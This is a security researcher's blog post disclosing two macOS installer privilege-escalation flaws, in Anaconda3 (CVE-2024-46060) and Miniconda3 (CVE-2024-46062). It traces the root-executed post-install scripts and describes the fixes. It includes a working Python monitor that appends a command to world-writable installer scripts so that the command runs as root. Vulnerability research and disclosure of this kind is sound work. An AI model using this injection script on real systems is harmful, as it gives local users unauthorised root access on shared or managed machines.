Post

Privilege Escalation in macOS PKG Installers

At Def Con 25 Patrick Wardle presented Death by 1000 installers where he outlined multiple insecurities in macOS installer files. Fast forward to today, these patterns remain highly relevant and can provide opportunities for local privilege escalation under the right conditions.

This post highlights two recently discovered CVEs caused by world-writable files created during macOS package installations. I’ll walk through my methodology for identifying these vulnerabilities and trace the installer logic to see where control shifts to user-supplied code.

Dissecting MacOS Package Installers

In macOS, a Package Installer or *.pkg is just a container used to distribute software. It’s made up of payloads, metadata, and optional pre-/post-install scripts that set permissions, deploy files, and register components. This is far over simplifying, but enough to capture the broader concept.

Package installers can be easily expanded to inspect contents using the built in pkgutil:

1
pkgutil --expand /path/to/suspect.pkg /tmp/expanded_pkg

The following example demonstrates the Microsoft Word Updater for macOS expanded to reveal its package contents. The installer contains nested pkg files with associated scripts and payloads executed during installation.

Expanded Microsoft_Word_16.103.25111410_Updater.pkg

Vulnerability Hunting

This is where things get interesting – When a .pkg is installed outside the user’s home directory, administrator privileges are required. In managed environments, this typically happens through Help Desk installations or MDM solutions.

During installation temporary scripts are created on disk and executed by the installer to perform various management or cleanup operations. If misconfigured, a low privileged user can inject code executed by the installer creating an opportunity for privilege escalation:

Exploitation flow of insecure permissions set by macOS pkg installers

File Monitor

The following code demonstrates a simple file monitor that can be used to detect these conditions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# file_monitor.py

while True:
    already_seen = set()
    for root, dirs, files in os.walk(install_directory):
        for name in files:
            file_path = os.path.join(root, name)

            # Scan newly created directories only
            if file_path not in already_seen and is_recently_created(file_path):
                already_seen.add(file_path)

                # Check write access
                if os.access(file_path, os.W_OK):
                    with open(file_path, "a+", encoding="utf-8", errors="ignore") as f:
                        f.seek(0)

                        # Get file type by shebang
                        if f.readline().strip().startswith(("#!/bin/sh", "#!/bin/bash", "#!/bin/zsh")):

                            # Inject command
                            f.write("\n/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal")

Anaconda3 v2024.02-1 (CVE-2024-46060)

The first real-world case study came from the Anaconda3 package installer before v2024.06-1. When installed outside the user’s home path, world-writable files were created by the installer that can be abused by under privileged users.

Anaconda3 2024.02-1 root privilege escalation PoC

Command Injection

To better understand the exploitation process, I modified my file_monitor.py to log injected files on execution. As you can see, only one file was susceptible in Anaconda3 v2024.02-1. However, this was not the case in earlier versions:

Injected files executed with root permission during installation

After expanding Anaconda3-2024.02-1-MacOSX-arm64.pkg, I found a containing prepare_installation.pkg which had a Bill of Materials (BOM) entry for our injected script:

Expanded Anaconda3-2024.02-1-MacOSX-arm64.pkg

BOM entry for anaconda3/pkgs/user_post_install

After analyzing the source, user_post_install appeared to be a script written to disk and executed by the installer to launch the new Navigator application after completion:

1
2
3
4
#!/bin/bash
#!/usr/bin/bash

open "${PREFIX}/Anaconda-Navigator.app"

Privileged Execution

The next step was to trace the installer logic and identify where the injected code was executed. This led me to the user_post_install.pkg package, which contained a postinstall file that launched user-provided scripts from disk as the current root user!

1
2
3
4
5
6
7
8
# Run user-provided script
if [ -f "$PREFIX/pkgs/user_${PRE_OR_POST}" ]; then
    notify "Running ${PRE_OR_POST} scripts..."
    chmod +x "$PREFIX/pkgs/user_${PRE_OR_POST}"
    if ! "$PREFIX/pkgs/user_${PRE_OR_POST}"; then
        echo "ERROR: could not run user-provided ${PRE_OR_POST} script!"
        exit 1
    fi

Remediation

This vulnerability was fixed starting in Anaconda3 2024.06-1 by removing the user_post_install.pkg package. This is demonstrated in the unpacked installer screenshot below:

Expanded Anaconda3-2024.06-1-MacOSX-arm64.pkg


Miniconda3 - v23.10.0-1 (CVE-2024-46062)

The second vulnerability identified was in the Miniconda3 package installer before v23.11.0-1. Again, it was possible to inject scripts created by the installer and subsequently executed with root permissions to achieve local privilege escalation:

Miniconda3 23.10.0-1 root privilege escalation PoC

Command Injection

Using our modified file monitor, two post-link files, packaged as part of miniconda3/pkgs/python.app-3-py310h1a28f6b_0.conda and unpackaged during installation by prepare_installation.pkg, were susceptible to injection:

Injected files executed with root permission during installation

The following screenshot shows the expanded package installer where the prepare_installation.pkg resides:

Expanded Miniconda3-py310_23.10.0-1-MacOSX-arm64.pkg

Privileged Execution

The two injected post-link files were written to disk and executed during installation with elevated permissions by conda.exe – located in the installer’s run_installation.pkg/Scripts/postinstall script:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Perform the conda install
...
PREFIX="$2/miniconda3"
PREFIX=$(cd "$PREFIX"; pwd)
export PREFIX
echo "PREFIX=$PREFIX"
CONDA_EXEC="$PREFIX/conda.exe"
# /COMMON UTILS
...
"$CONDA_EXEC" install --offline --file "$PREFIX/pkgs/env.txt" -yp "$PREFIX"; then
    echo "ERROR: could not complete the conda install"
    exit 1
fi

Decompiling conda.exe

Since conda.exe is a Python binary inside prepare_installation.pkg, it was possible to decompile the source and see exactly where execution took place.

This revealed the run_script() function inside conda_pkg/lib/python3.10/site-packages/conda/core/link.py, which was used to execute our injected post-link scripts with elevated permissions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def run_script(prefix: str, prec, action: str = "post-link", env_prefix: str = None, activate: bool = False,) -> bool:
"""
Call the post-link (or pre-unlink) script, returning True on success,
False on failure.
"""
path = join(
    prefix,
    "Scripts" if on_win else "bin",
    ".{}-{}.{}".format(prec.name, action, "bat" if on_win else "sh"),
)
...
shell_path = "sh" if "bsd" in sys.platform else "bash"
if activate:
    script_caller, command_args = wrap_subprocess_call(
        context.root_prefix,
        prefix,
        context.dev,
        False,
        (".", path),
    )
...
response = subprocess_call(
    command_args, env=env, path=dirname(path), raise_on_error=False
)

Remediation

This vulnerability is fixed in newer versions of Miniconda3, starting in 23.11. The installer applies secure permissions to the vulnerable post-link files, which prevents tampering and eliminates code injection opportunities.

References & Additional Reading